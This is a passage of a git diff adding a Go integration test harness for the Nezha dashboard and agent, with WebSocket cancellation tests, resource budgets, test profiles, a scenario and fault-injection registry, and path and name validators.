MaxResponseBytes: 1024}) + connection, err := client.DialWebSocket(context.Background(), "/stream") + require.NoError(t, err) + t.Cleanup(func() { _ = connection.Close() }) + + _, err = connection.ReadFrame(context.Background()) + require.ErrorIs(t, err, context.DeadlineExceeded) +} + +func TestClient_WebSocketWriteHonorsParentCancellation(t *testing.T) { + upgrader := websocket.Upgrader{} + serverReady := make(chan struct{}) + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + connection, err := upgrader.Upgrade(writer, request, nil) + require.NoError(t, err) + defer connection.Close() + close(serverReady) + <-request.Context().Done() + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: 5 * time.Second, MaxResponseBytes: 1024}) + connection, err := client.DialWebSocket(context.Background(), "/blocked-write") + require.NoError(t, err) + t.Cleanup(func() { _ = connection.Close() }) + + writeContext, cancel := context.WithCancel(context.Background()) + defer cancel() + result := make(chan error, 1) + <-serverReady + go func() { + result <- connection.WriteFrame(writeContext, Frame{Type: FrameBinary, Payload: make([]byte, 128<<20)}) + }() + cancel() + select { + case err = <-result: + require.ErrorIs(t, err, context.Canceled) + case <-time.After(time.Second): + t.Fatal("WebSocket write did not stop after parent cancellation") + } +} diff --git a/integration/agentcompat/internal/client/websocket_until_test.go b/integration/agentcompat/internal/client/websocket_until_test.go new file mode 100644 index 00000000..8febf9ad --- /dev/null +++ b/integration/agentcompat/internal/client/websocket_until_test.go @@ -0,0 +1,103 @@ +package client + +import ( + "context" + "net/http" + "net/http/httptest" + "testing" + "time" + + "github.com/gorilla/websocket" + "github.com/stretchr/testify/require" +) + +func TestClient_ReadFrameUntil_UsesCallerDeadlineInsteadOfRequestTimeout(t *testing.T) { + // Given + upgrader := websocket.Upgrader{} + serverReady := make(chan struct{}) + allowFrame := make(chan struct{}) + server := newWebSocketTestServer(t, upgrader, func(connection *websocket.Conn, _ *http.Request) { + close(serverReady) + <-allowFrame + require.NoError(t, connection.WriteMessage(websocket.BinaryMessage, []byte("held-session"))) + }) + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: 100 * time.Millisecond, MaxResponseBytes: 1024}) + connection, err := client.DialWebSocket(context.Background(), "/held") + require.NoError(t, err) + t.Cleanup(func() { _ = connection.Close() }) + callerContext, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + result := make(chan struct { + frame Frame + err error + }, 1) + + // When + go func() { + frame, readErr := connection.ReadFrameUntil(callerContext) + result <- struct { + frame Frame + err error + }{frame: frame, err: readErr} + }() + <-serverReady + requestTimeout, cancelRequestTimeout := context.WithTimeout(context.Background(), 100*time.Millisecond) + defer cancelRequestTimeout() + <-requestTimeout.Done() + close(allowFrame) + + // Then + select { + case readResult := <-result: + require.NoError(t, readResult.err) + require.Equal(t, FrameBinary, readResult.frame.Type) + require.Equal(t, []byte("held-session"), readResult.frame.Payload) + case <-time.After(time.Second): + t.Fatal("ReadFrameUntil did not receive the channel-released frame") + } +} + +func TestClient_ReadFrameUntil_ReturnsParentCancellationAndUnblocksRead(t *testing.T) { + // Given + upgrader := websocket.Upgrader{} + serverReady := make(chan struct{}) + server := newWebSocketTestServer(t, upgrader, func(_ *websocket.Conn, request *http.Request) { + close(serverReady) + <-request.Context().Done() + }) + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024}) + connection, err := client.DialWebSocket(context.Background(), "/cancel") + require.NoError(t, err) + t.Cleanup(func() { _ = connection.Close() }) + callerContext, cancel := context.WithCancel(context.Background()) + defer cancel() + result := make(chan error, 1) + + // When + go func() { + _, readErr := connection.ReadFrameUntil(callerContext) + result <- readErr + }() + <-serverReady + cancel() + + // Then + select { + case readErr := <-result: + require.ErrorIs(t, readErr, context.Canceled) + case <-time.After(time.Second): + t.Fatal("ReadFrameUntil did not stop after parent cancellation") + } +} + +func newWebSocketTestServer(t *testing.T, upgrader websocket.Upgrader, serve func(*websocket.Conn, *http.Request)) *httptest.Server { + t.Helper() + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + connection, err := upgrader.Upgrade(writer, request, nil) + require.NoError(t, err) + defer connection.Close() + serve(connection, request) + })) + t.Cleanup(server.Close) + return server +} diff --git a/integration/agentcompat/internal/contract/budget.go b/integration/agentcompat/internal/contract/budget.go new file mode 100644 index 00000000..f5d51bf4 --- /dev/null +++ b/integration/agentcompat/internal/contract/budget.go @@ -0,0 +1,51 @@ +package contract + +import ( + "errors" + "time" +) + +const ( + ResourceWarmupRuns = 1 + ResourceSampleCount = 5 + ResourceSampleInterval = 250 * time.Millisecond + ResourceExpectedCountDrift = 0 + DashboardRSSDeltaBytes uint64 = 64 * 1024 * 1024 + AgentRSSDeltaBytes uint64 = 32 * 1024 * 1024 + TransferHeapBytes uint64 = 16 * 1024 * 1024 +) + +type ResourceBudgetInput struct { + WarmupRuns int + SampleCount int + SampleInterval time.Duration + ChildProcessCountDrift int + ListenerCountDrift int + NonStdioFDCountDrift int + DashboardRSSDeltaBytes uint64 + AgentRSSDeltaBytes uint64 + TransferHeapBytes uint64 +} + +type ResourceBudget struct{ input ResourceBudgetInput } + +func NewResourceBudget(input ResourceBudgetInput) (ResourceBudget, error) { + if input.WarmupRuns < 1 || input.SampleCount < 1 || input.SampleInterval <= 0 || input.ChildProcessCountDrift < 0 || input.ListenerCountDrift < 0 || input.NonStdioFDCountDrift < 0 || input.DashboardRSSDeltaBytes == 0 || input.AgentRSSDeltaBytes == 0 || input.TransferHeapBytes == 0 { + return ResourceBudget{}, errors.New("invalid resource budget") + } + return ResourceBudget{input: input}, nil +} + +func (b ResourceBudget) WarmupRuns() int { return b.input.WarmupRuns } +func (b ResourceBudget) SampleCount() int { return b.input.SampleCount } +func (b ResourceBudget) SampleInterval() time.Duration { return b.input.SampleInterval } +func (b ResourceBudget) ChildProcessCountDrift() int { return b.input.ChildProcessCountDrift } +func (b ResourceBudget) ListenerCountDrift() int { return b.input.ListenerCountDrift } +func (b ResourceBudget) NonStdioFDCountDrift() int { return b.input.NonStdioFDCountDrift } +func (b ResourceBudget) DashboardRSSDeltaBytes() uint64 { return b.input.DashboardRSSDeltaBytes } +func (b ResourceBudget) AgentRSSDeltaBytes() uint64 { return b.input.AgentRSSDeltaBytes } +func (b ResourceBudget) TransferHeapBytes() uint64 { return b.input.TransferHeapBytes } + +func DefaultResourceBudget() ResourceBudget { + return ResourceBudget{input: ResourceBudgetInput{WarmupRuns: ResourceWarmupRuns, SampleCount: ResourceSampleCount, SampleInterval: ResourceSampleInterval, ChildProcessCountDrift: ResourceExpectedCountDrift, ListenerCountDrift: ResourceExpectedCountDrift, NonStdioFDCountDrift: ResourceExpectedCountDrift, DashboardRSSDeltaBytes: DashboardRSSDeltaBytes, AgentRSSDeltaBytes: AgentRSSDeltaBytes, TransferHeapBytes: TransferHeapBytes}} +} diff --git a/integration/agentcompat/internal/contract/contract_test.go b/integration/agentcompat/internal/contract/contract_test.go new file mode 100644 index 00000000..25082fc6 --- /dev/null +++ b/integration/agentcompat/internal/contract/contract_test.go @@ -0,0 +1,110 @@ +package contract + +import ( + "path/filepath" + "testing" + "time" +) + +func TestContract_Profiles(t *testing.T) { + pr, err := ProfileByName("pr-full") + if err != nil { + t.Fatalf("parse pr-full: %v", err) + } + if pr.JobTimeout() != 75*time.Minute || pr.SuiteDeadline() != 55*time.Minute { + t.Fatalf("unexpected pr-full deadlines: %#v", pr) + } + if pr.Seed() != Seed(0x4e5a4841) || pr.AgentCount() != 8 || pr.StressRounds() != 4 || pr.ConcurrentOperations() != 64 { + t.Fatalf("unexpected pr-full load: %#v", pr) + } + if pr.ConcurrentSessions() != 4 || pr.TransferPairs() != 1 || pr.DashboardRestartCycles() != 1 { + t.Fatalf("unexpected pr-full sessions: %#v", pr) + } + + soak, err := ProfileByName("soak") + if err != nil { + t.Fatalf("parse soak: %v", err) + } + if soak.SuiteDeadline() != 150*time.Minute || soak.AgentCount() != 20 || soak.Iterations() != 3 || soak.DashboardRestartCycles() != 10 || soak.TransferPairs() != 5 || !soak.StreamBoundaryCheck() { + t.Fatalf("unexpected soak profile: %#v", soak) + } + if soak.JobTimeout() != 150*time.Minute || soak.Seed() != DefaultSeed || soak.StreamBoundaryAllowed() != 40 || soak.StreamBoundaryRejected() != 41 || soak.TransferBytes() != 100*1024*1024 { + t.Fatalf("unexpected soak limits: %#v", soak) + } + if _, err := ProfileByName("unknown"); err == nil { + t.Fatal("unknown profile accepted") + } +} + +func TestContract_ResourceBudget(t *testing.T) { + budget, err := NewResourceBudget(ResourceBudgetInput{ + WarmupRuns: 1, + SampleCount: 5, + SampleInterval: 250 * time.Millisecond, + ChildProcessCountDrift: 0, + ListenerCountDrift: 0, + NonStdioFDCountDrift: 0, + DashboardRSSDeltaBytes: 64 * 1024 * 1024, + AgentRSSDeltaBytes: 32 * 1024 * 1024, + TransferHeapBytes: 16 * 1024 * 1024, + }) + if err != nil { + t.Fatalf("construct budget: %v", err) + } + if budget.WarmupRuns() != 1 || budget.SampleCount() != 5 || budget.SampleInterval() != 250*time.Millisecond || budget.ChildProcessCountDrift() != 0 || budget.ListenerCountDrift() != 0 || budget.NonStdioFDCountDrift() != 0 { + t.Fatalf("unexpected sampling budget: %#v", budget) + } + if budget.DashboardRSSDeltaBytes() != 64*1024*1024 || budget.AgentRSSDeltaBytes() != 32*1024*1024 || budget.TransferHeapBytes() != 16*1024*1024 { + t.Fatalf("unexpected memory budget: %#v", budget) + } +} + +func TestContract_ResourceBudgetRejectsInvalidInput(t *testing.T) { + base := ResourceBudgetInput{WarmupRuns: 1, SampleCount: 5, SampleInterval: 250 * time.Millisecond, DashboardRSSDeltaBytes: 1, AgentRSSDeltaBytes: 1, TransferHeapBytes: 1} + for name, mutate := range map[string]func(*ResourceBudgetInput){ + "zero warmup": func(input *ResourceBudgetInput) { input.WarmupRuns = 0 }, + "zero samples": func(input *ResourceBudgetInput) { input.SampleCount = 0 }, + "negative samples": func(input *ResourceBudgetInput) { input.SampleCount = -1 }, + "zero interval": func(input *ResourceBudgetInput) { input.SampleInterval = 0 }, + "negative interval": func(input *ResourceBudgetInput) { input.SampleInterval = -time.Millisecond }, + "negative child drift": func(input *ResourceBudgetInput) { input.ChildProcessCountDrift = -1 }, + "missing dashboard threshold": func(input *ResourceBudgetInput) { input.DashboardRSSDeltaBytes = 0 }, + "missing agent threshold": func(input *ResourceBudgetInput) { input.AgentRSSDeltaBytes = 0 }, + "missing heap threshold": func(input *ResourceBudgetInput) { input.TransferHeapBytes = 0 }, + } { + t.Run(name, func(t *testing.T) { + input := base + mutate(&input) + if _, err := NewResourceBudget(input); err == nil { + t.Fatal("invalid budget accepted") + } + }) + } +} + +func TestContract_CLIValues(t *testing.T) { + root := t.TempDir() + nezhaSource := filepath.Join(root, "nezha-source") + agentSource := filepath.Join(root, "agent-source") + resultsDir := filepath.Join(root, "results") + paths, err := NewPaths(nezhaSource, agentSource, resultsDir) + if err != nil { + t.Fatalf("construct paths: %v", err) + } + if paths.NezhaSource().String() != nezhaSource || paths.AgentSource().String() != agentSource || paths.ResultsDir().String() != resultsDir { + t.Fatalf("unexpected paths: %#v", paths) + } + scenario, err := NewScenario("metadata") + if err != nil || scenario.String() != "metadata" { + t.Fatalf("construct scenario: %q %v", scenario.String(), err) + } + fault, err := NewFault("transfer-hash") + if err != nil || fault.String() != "transfer-hash" { + t.Fatalf("construct fault: %q %v", fault.String(), err) + } + for _, invalid := range []string{"", "../escape", "has space"} { + if _, err := NewScenario(invalid); err == nil { + t.Fatalf("invalid scenario accepted: %q", invalid) + } + } +} diff --git a/integration/agentcompat/internal/contract/profile.go b/integration/agentcompat/internal/contract/profile.go new file mode 100644 index 00000000..92399869 --- /dev/null +++ b/integration/agentcompat/internal/contract/profile.go @@ -0,0 +1,96 @@ +package contract + +import ( + "errors" + "fmt" + "strconv" + "strings" + "time" +) + +type ProfileName string +type Seed uint64 + +const ( + ProfilePRFull ProfileName = "pr-full" + ProfileSoak ProfileName = "soak" + DefaultSeed Seed = 0x4e5a4841 + + PRFullJobTimeout = 75 * time.Minute + PRFullSuiteDeadline = 55 * time.Minute + PRFullAgentCount = 8 + PRFullStressRounds = 4 + PRFullConcurrentOperations = 64 + PRFullConcurrentSessions = 4 + PRFullTransferPairs = 1 + PRFullRestartCycles = 1 + + SoakJobTimeout = 150 * time.Minute + SoakSuiteDeadline = 150 * time.Minute + SoakAgentCount = 20 + SoakStressRounds = 4 + SoakConcurrentOperations = 160 + SoakConcurrentSessions = 4 + SoakTransferPairs = 5 + SoakRestartCycles = 10 + SoakIterations = 3 + + TransferBytes uint64 = 100 * 1024 * 1024 + StreamBoundaryAllowed = 40 + StreamBoundaryRejected = 41 +) + +type Profile struct { + name ProfileName + jobTimeout time.Duration + suiteDeadline time.Duration + seed Seed + agentCount int + stressRounds int + concurrentOperations int + concurrentSessions int + transferPairs int + dashboardRestartCycles int + iterations int + streamBoundaryAllowed int + streamBoundaryRejected int +} + +func ProfileByName(name string) (Profile, error) { + switch ProfileName(name) { + case ProfilePRFull: + return Profile{name: ProfilePRFull, jobTimeout: PRFullJobTimeout, suiteDeadline: PRFullSuiteDeadline, seed: DefaultSeed, agentCount: PRFullAgentCount, stressRounds: PRFullStressRounds, concurrentOperations: PRFullConcurrentOperations, concurrentSessions: PRFullConcurrentSessions, transferPairs: PRFullTransferPairs, dashboardRestartCycles: PRFullRestartCycles, iterations: 1, streamBoundaryAllowed: StreamBoundaryAllowed, streamBoundaryRejected: StreamBoundaryRejected}, nil + case ProfileSoak: + return Profile{name: ProfileSoak, jobTimeout: SoakJobTimeout, suiteDeadline: SoakSuiteDeadline, seed: DefaultSeed, agentCount: SoakAgentCount, stressRounds: SoakStressRounds, concurrentOperations: SoakConcurrentOperations, concurrentSessions: SoakConcurrentSessions, transferPairs: SoakTransferPairs, dashboardRestartCycles: SoakRestartCycles, iterations: SoakIterations, streamBoundaryAllowed: StreamBoundaryAllowed, streamBoundaryRejected: StreamBoundaryRejected}, nil + default: + return Profile{}, errors.New("unknown profile; expected pr-full or soak") + } +} + +func (p Profile) Name() ProfileName { return p.name } +func (p Profile) JobTimeout() time.Duration { return p.jobTimeout } +func (p Profile) SuiteDeadline() time.Duration { return p.suiteDeadline } +func (p Profile) Seed() Seed { return p.seed } +func (p Profile) AgentCount() int { return p.agentCount } +func (p Profile) StressRounds() int { return p.stressRounds } +func (p Profile) ConcurrentOperations() int { return p.concurrentOperations } +func (p Profile) ConcurrentSessions() int { return p.concurrentSessions } +func (p Profile) TransferPairs() int { return p.transferPairs } +func (p Profile) DashboardRestartCycles() int { return p.dashboardRestartCycles } +func (p Profile) Iterations() int { return p.iterations } +func (p Profile) TransferBytes() uint64 { return TransferBytes } +func (p Profile) StreamBoundaryAllowed() int { return p.streamBoundaryAllowed } +func (p Profile) StreamBoundaryRejected() int { return p.streamBoundaryRejected } +func (p Profile) StreamBoundaryCheck() bool { + return p.streamBoundaryAllowed > 0 && p.streamBoundaryRejected > p.streamBoundaryAllowed +} + +var ErrInvalidSeed = errors.New("invalid seed") + +func ParseSeed(raw string) (Seed, error) { + value, err := strconv.ParseUint(strings.TrimPrefix(strings.TrimPrefix(raw, "0x"), "0X"), 16, 64) + if err != nil || value == 0 { + return 0, fmt.Errorf("%w; expected nonzero hexadecimal", ErrInvalidSeed) + } + return Seed(value), nil +} diff --git a/integration/agentcompat/internal/contract/scenario_registry.go b/integration/agentcompat/internal/contract/scenario_registry.go new file mode 100644 index 00000000..bbe78e11 --- /dev/null +++ b/integration/agentcompat/internal/contract/scenario_registry.go @@ -0,0 +1,175 @@ +package contract + +import ( + "errors" + "slices" +) + +const ( + ScenarioMetadata = "metadata" + ScenarioRegistrationConfigExec = "registration-config-exec" + ScenarioNAT = "nat" + ScenarioLegacyFM = "legacy-fm" + ScenarioTerminal = "terminal" + ScenarioMCPFilesystem = "mcp-filesystem" + ScenarioTransfer100MiB = "transfer-100mib" + ScenarioReconnect = "reconnect" + + FaultAgentBadSecret = "agent-bad-secret" + FaultTransferHash = "transfer-hash" + FaultDashboardExit = "dashboard-exit" +) + +type DedicatedArtifactKind uint8 + +const ( + DedicatedArtifactNone DedicatedArtifactKind = iota + DedicatedArtifactTransfer + DedicatedArtifactReconnect +) + +type ScenarioExecutionKind uint8 + +const ( + ScenarioExecutionMetadata ScenarioExecutionKind = iota + ScenarioExecutionRegistrationConfigExec + ScenarioExecutionNAT + ScenarioExecutionLegacyFM + ScenarioExecutionTerminal + ScenarioExecutionMCPFilesystem + ScenarioExecutionTransfer + ScenarioExecutionReconnect +) + +type ScenarioDefinition struct { + Name string + AllowedFaults []string + Execution ScenarioExecutionKind + DedicatedArtifact DedicatedArtifactKind +} + +type AssertionDefinition struct { + Name string + Passed bool +} + +const ( + AssertionInjectedFault = "injected fault produced the expected scenario failure" + + AssertionTransferWarmup = "small real upload and download warm-up precedes event and deadline quiescence" + AssertionTransferUpload = "exact 100MiB upload has size mode SHA and create_dirs" + AssertionTransferDownload = "exact 100MiB download has equal nonempty SHA" + AssertionTransferUploadReplay = "upload token replay is typed unauthorized" + AssertionTransferDownloadReplay = "download token replay is typed unauthorized" + AssertionTransferOversize = "100MiB plus one upload is typed too large" + AssertionTransferResidue = "Dashboard spool and Agent temp residue are zero" + AssertionTransferSentinels = "outside-root sentinels remain unchanged" + AssertionTransferHeap = "retained live heap stays within 16MiB" + AssertionTransferCleanup = "process listener and workspace cleanup completed" + AssertionTransferHashRejected = "transfer-hash rejects upload with typed 502" + AssertionTransferHashTargetAbsent = "transfer-hash leaves target absent" + + AssertionReconnectDisconnect = "Dashboard disconnect barrier stopped generation one" + AssertionReconnectDashboard = "Dashboard generation two preserves fixture and recreates runtime clients" + AssertionReconnectIdentity = "Agent reconnect preserves exact server ID and UUID" + AssertionReconnectReceipts = "post-reconnect MCP task and result receipts are exactly once" + AssertionReconnectStale = "stale Dashboard generation cannot receive new task receipts" + AssertionReconnectAgent = "Agent restart advances state stream and preserves config identity" + AssertionReconnectSentinel = "outside-root sentinel remains unchanged" + AssertionReconnectCleanup = "multi-generation process listener and workspace cleanup completed" +) + +func (definition ScenarioDefinition) DedicatedArtifactName() string { + switch definition.DedicatedArtifact { + case DedicatedArtifactNone: + return "" + case DedicatedArtifactTransfer: + return "transfer.json" + case DedicatedArtifactReconnect: + return "reconnect.json" + default: + return "" + } +} + +func (definition ScenarioDefinition) Assertions(fault string) []AssertionDefinition { + switch definition.Name { + case ScenarioTransfer100MiB: + if fault == FaultTransferHash { + return assertions( + AssertionTransferWarmup, AssertionTransferHashRejected, AssertionTransferHashTargetAbsent, + AssertionTransferResidue, AssertionTransferSentinels, AssertionTransferCleanup, AssertionInjectedFault, + ) + } + return assertions( + AssertionTransferWarmup, AssertionTransferUpload, AssertionTransferDownload, + AssertionTransferUploadReplay, AssertionTransferDownloadReplay, AssertionTransferOversize, + AssertionTransferResidue, AssertionTransferSentinels, AssertionTransferHeap, AssertionTransferCleanup, + ) + case ScenarioReconnect: + if fault == FaultDashboardExit { + return assertions(AssertionReconnectDisconnect, AssertionReconnectSentinel, AssertionReconnectCleanup, AssertionInjectedFault) + } + return assertions( + AssertionReconnectDisconnect, AssertionReconnectDashboard, AssertionReconnectIdentity, + AssertionReconnectReceipts, AssertionReconnectStale, AssertionReconnectAgent, + AssertionReconnectSentinel, AssertionReconnectCleanup, + ) + default: + return nil + } +} + +func assertions(names ...string) []AssertionDefinition { + definitions := make([]AssertionDefinition, 0, len(names)) + for _, name := range names { + definitions = append(definitions, AssertionDefinition{Name: name, Passed: name != AssertionInjectedFault}) + } + return definitions +} + +var scenarioDefinitions = []ScenarioDefinition{ + {Name: ScenarioMetadata, AllowedFaults: []string{""}, Execution: ScenarioExecutionMetadata}, + {Name: ScenarioRegistrationConfigExec, AllowedFaults: []string{"", FaultAgentBadSecret}, Execution: ScenarioExecutionRegistrationConfigExec}, + {Name: ScenarioNAT, AllowedFaults: []string{""}, Execution: ScenarioExecutionNAT}, + {Name: ScenarioLegacyFM, AllowedFaults: []string{"", FaultAgentBadSecret}, Execution: ScenarioExecutionLegacyFM}, + {Name: ScenarioTerminal, AllowedFaults: []string{""}, Execution: ScenarioExecutionTerminal}, + {Name: ScenarioMCPFilesystem, AllowedFaults: []string{""}, Execution: ScenarioExecutionMCPFilesystem}, + {Name: ScenarioTransfer100MiB, AllowedFaults: []string{"", FaultTransferHash}, Execution: ScenarioExecutionTransfer, DedicatedArtifact: DedicatedArtifactTransfer}, + {Name: ScenarioReconnect, AllowedFaults: []string{"", FaultDashboardExit}, Execution: ScenarioExecutionReconnect, DedicatedArtifact: DedicatedArtifactReconnect}, +} + +func ScenarioDefinitions() []ScenarioDefinition { + definitions := make([]ScenarioDefinition, len(scenarioDefinitions)) + copy(definitions, scenarioDefinitions) + for index := range definitions { + definitions[index].AllowedFaults = slices.Clone(definitions[index].AllowedFaults) + } + return definitions +} + +func ScenarioDefinitionByName(name string) (ScenarioDefinition, error) { + for _, definition := range scenarioDefinitions { + if definition.Name == name { + definition.AllowedFaults = slices.Clone(definition.AllowedFaults) + return definition, nil + } + } + return ScenarioDefinition{}, errors.New("unsupported scenario") +} + +func ValidateScenarioFault(scenario Scenario, fault Fault) error { + definition, err := ScenarioDefinitionByName(scenario.String()) + if err != nil { + return err + } + if !slices.Contains(definition.AllowedFaults, fault.String()) { + return errors.New("unsupported fault for scenario") + } + return nil +} + +func IsSupportedScenario(name string) bool { + _, err := ScenarioDefinitionByName(name) + return err == nil +} diff --git a/integration/agentcompat/internal/contract/scenario_registry_test.go b/integration/agentcompat/internal/contract/scenario_registry_test.go new file mode 100644 index 00000000..a34eb49d --- /dev/null +++ b/integration/agentcompat/internal/contract/scenario_registry_test.go @@ -0,0 +1,83 @@ +package contract + +import ( + "slices" + "testing" +) + +func TestContract_ScenarioFaultRegistry(t *testing.T) { + tests := []struct { + scenario string + fault string + valid bool + }{ + {ScenarioTransfer100MiB, "", true}, + {ScenarioTransfer100MiB, FaultTransferHash, true}, + {ScenarioTransfer100MiB, FaultDashboardExit, false}, + {ScenarioReconnect, "", true}, + {ScenarioReconnect, FaultDashboardExit, true}, + {ScenarioReconnect, FaultTransferHash, false}, + {ScenarioRegistrationConfigExec, FaultAgentBadSecret, true}, + {ScenarioLegacyFM, FaultAgentBadSecret, true}, + {ScenarioMCPFilesystem, FaultAgentBadSecret, false}, + {"future-scenario", "", false}, + } + for _, test := range tests { + scenario, err := NewScenario(test.scenario) + if err != nil { + t.Fatalf("construct scenario %q: %v", test.scenario, err) + } + fault := Fault{} + if test.fault != "" { + fault, err = NewFault(test.fault) + if err != nil { + t.Fatalf("construct fault %q: %v", test.fault, err) + } + } + err = ValidateScenarioFault(scenario, fault) + if (err == nil) != test.valid { + t.Fatalf("scenario=%q fault=%q valid=%t err=%v", test.scenario, test.fault, test.valid, err) + } + } +} + +func TestContract_SyntacticConstructorsPreserveArbitraryValidNames(t *testing.T) { + if _, err := NewScenario("future-scenario"); err != nil { + t.Fatalf("valid future scenario syntax rejected: %v", err) + } + if _, err := NewFault("future-fault"); err != nil { + t.Fatalf("valid future fault syntax rejected: %v", err) + } +} + +func TestContract_ScenarioDefinitionsAreDeterministicAndTyped(t *testing.T) { + definitions := ScenarioDefinitions() + wantNames := []string{ + ScenarioMetadata, + ScenarioRegistrationConfigExec, + ScenarioNAT, + ScenarioLegacyFM, + ScenarioTerminal, + ScenarioMCPFilesystem, + ScenarioTransfer100MiB, + ScenarioReconnect, + } + gotNames := make([]string, 0, len(definitions)) + seenExecution := make(map[ScenarioExecutionKind]struct{}, len(definitions)) + for _, definition := range definitions { + gotNames = append(gotNames, definition.Name) + if len(definition.AllowedFaults) == 0 || definition.AllowedFaults[0] != "" { + t.Fatalf("scenario %q does not explicitly allow the no-fault path", definition.Name) + } + if _, exists := seenExecution[definition.Execution]; exists { + t.Fatalf("execution kind is duplicated: %d", definition.Execution) + } + seenExecution[definition.Execution] = struct{}{} + if definition.DedicatedArtifactName() == "" && definition.DedicatedArtifact != DedicatedArtifactNone { + t.Fatalf("scenario %q has unnamed dedicated artifact", definition.Name) + } + } + if !slices.Equal(gotNames, wantNames) { + t.Fatalf("scenario enumeration order=%v want=%v", gotNames, wantNames) + } +} diff --git a/integration/agentcompat/internal/contract/values.go b/integration/agentcompat/internal/contract/values.go new file mode 100644 index 00000000..a1d9daf0 --- /dev/null +++ b/integration/agentcompat/internal/contract/values.go @@ -0,0 +1,73 @@ +package contract + +import ( + "errors" + "path/filepath" + "regexp" + "strings" +) + +var namePattern = regexp.MustCompile(`^[a-z0-9]+(?:-[a-z0-9]+)*$`) + +type NezhaSourcePath struct{ value string } +type AgentSourcePath struct{ value string } +type ResultsPath struct{ value string } + +type Paths struct { + nezhaSource NezhaSourcePath + agentSource AgentSourcePath + resultsDir ResultsPath +} + +func NewPaths(nezhaSource, agentSource, resultsDir string) (Paths, error) { + nezha, err := cleanAbsolutePath(nezhaSource) + if err != nil { + return Paths{}, errors.New("invalid --nezha-source path") + } + agent, err := cleanAbsolutePath(agentSource) + if err != nil { + return Paths{}, errors.New("invalid --agent-source path") + } + results, err := cleanAbsolutePath(resultsDir) + if err != nil { + return Paths{}, errors.New("invalid --results-dir path") + } + return Paths{nezhaSource: NezhaSourcePath{value: nezha}, agentSource: AgentSourcePath{value: agent}, resultsDir: ResultsPath{value: results}}, nil +} + +func cleanAbsolutePath(raw string) (string, error) { + if strings.TrimSpace(raw) == "" || !filepath.IsAbs(raw) { + return "", errors.New("path must be absolute") + } + return filepath.Clean(raw), nil +} + +func (p Paths) NezhaSource() NezhaSourcePath { return p.nezhaSource } +func (p Paths) AgentSource() AgentSourcePath { return p.agentSource } +func (p Paths) ResultsDir() ResultsPath { return p.resultsDir } +func (p NezhaSourcePath) String() string { return p.value } +func (p AgentSourcePath) String() string { return p.value } +func (p ResultsPath) String() string { return p.value } + +type Scenario struct{ value string } + +func NewScenario(raw string) (Scenario, error) { + if !namePattern.MatchString(raw) { + return Scenario{}, errors.New("invalid scenario name") + } + return Scenario{value: raw}, nil +} + +func (s Scenario) String() string { return s.value } + +type Fault struct{ value string } + +func NewFault(raw string) (Fault, error) { + if !namePattern.MatchString(raw) { + return Fault{}, errors.New("invalid fault name") + } + return Fault{value: raw}, nil +} + +func (f Fault) String() string { return f.value } +func (f Fault) IsZero() bool { return f.value == "" } diff --git a/integration/agentcompat/internal/dashboard/accessors.go b/integration/agentcompat/internal/dashboard/accessors.go new file mode 100644 index 00000000..3565659a --- /dev/null +++ b/integration/agentcompat/internal/dashboard/accessors.go @@ -0,0 +1,102 @@ +//go:build linux + +package dashboard + +import ( + "context" + "errors" + "path/filepath" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +func (dashboard *Dashboard) TLSURL() string { + if dashboard.httpsAddress == "" { + return "" + } + _, port, err := splitAddress(dashboard.httpsAddress) + if err != nil { + return "" + } + return "https://localhost:" + port +} + +func (dashboard *Dashboard) TLSCACertificatePath() string { + if dashboard.tlsFixture.CAPEM() == nil { + return "" + } + return filepath.Join(dashboard.workspace.Root(), "dashboard-ca.crt") +} + +func (dashboard *Dashboard) Clients() Clients { return dashboard.clients } + +func (dashboard *Dashboard) AuthenticatedClient(token string) (*client.Client, error) { + return client.New(client.Config{BaseURL: dashboard.URL(), HTTPClient: dashboard.restHTTPClient, BearerToken: token}) +} + +func (dashboard *Dashboard) ReleaseReceipt(ctx context.Context) error { + if dashboard.receiptConn == nil { + return errors.New("receipt gate is disabled") + } + if deadline, ok := ctx.Deadline(); ok { + if err := dashboard.receiptConn.SetWriteDeadline(deadline); err != nil { + return err + } + } + _, err := dashboard.receiptConn.Write([]byte("release\n")) + return err +} + +func (dashboard *Dashboard) Bootstrap() BootstrapResult { + result := dashboard.bootstrap + result.PATScopes = append([]string(nil), result.PATScopes...) + return result +} + +func (dashboard *Dashboard) AgentSecret() string { return agentSecret } + +func (dashboard *Dashboard) ConfigPath() string { return dashboard.configPath } +func (dashboard *Dashboard) DatabasePath() string { return dashboard.databasePath } +func (dashboard *Dashboard) LogPath() string { return dashboard.logPath } +func (dashboard *Dashboard) WorkspaceRoot() string { return dashboard.workspace.Root() } + +func (dashboard *Dashboard) PID() int { + if dashboard.supervisor == nil { + return 0 + } + return dashboard.supervisor.PID() +} + +func (dashboard *Dashboard) CleanupReceipt() processharness.CleanupReceipt { + dashboard.cleanupMu.Lock() + defer dashboard.cleanupMu.Unlock() + receipt := dashboard.cleanupReceipt + receipt.Processes = append([]processharness.CleanupRecord(nil), receipt.Processes...) + return receipt +} + +func (dashboard *Dashboard) WaitForGenerationAfter(ctx context.Context, generation uint64) error { + if dashboard.receiptEvents == nil { + return errors.New("receipt gate is disabled") + } + for { + dashboard.eventMu.RLock() + notify, closed := dashboard.eventNotify, dashboard.eventClosed + dashboard.eventMu.RUnlock() + dashboard.receiptMu.RLock() + observed := dashboard.receiptGeneration > generation + dashboard.receiptMu.RUnlock() + if observed { + return nil + } + if closed { + return ErrReceiptGateClosed + } + select { + case <-notify: + case <-ctx.Done(): + return ctx.Err() + } + } +} diff --git a/integration/agentcompat/internal/dashboard/adversarial_test.go b/integration/agentcompat/internal/dashboard/adversarial_test.go new file mode 100644 index 00000000..be97344d --- /dev/null +++ b/integration/agentcompat/internal/dashboard/adversarial_test.go @@ -0,0 +1,215 @@ +//go:build linux + +package dashboard + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "io" + "net/http" + "os" + "path/filepath" + "strconv" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + processharness 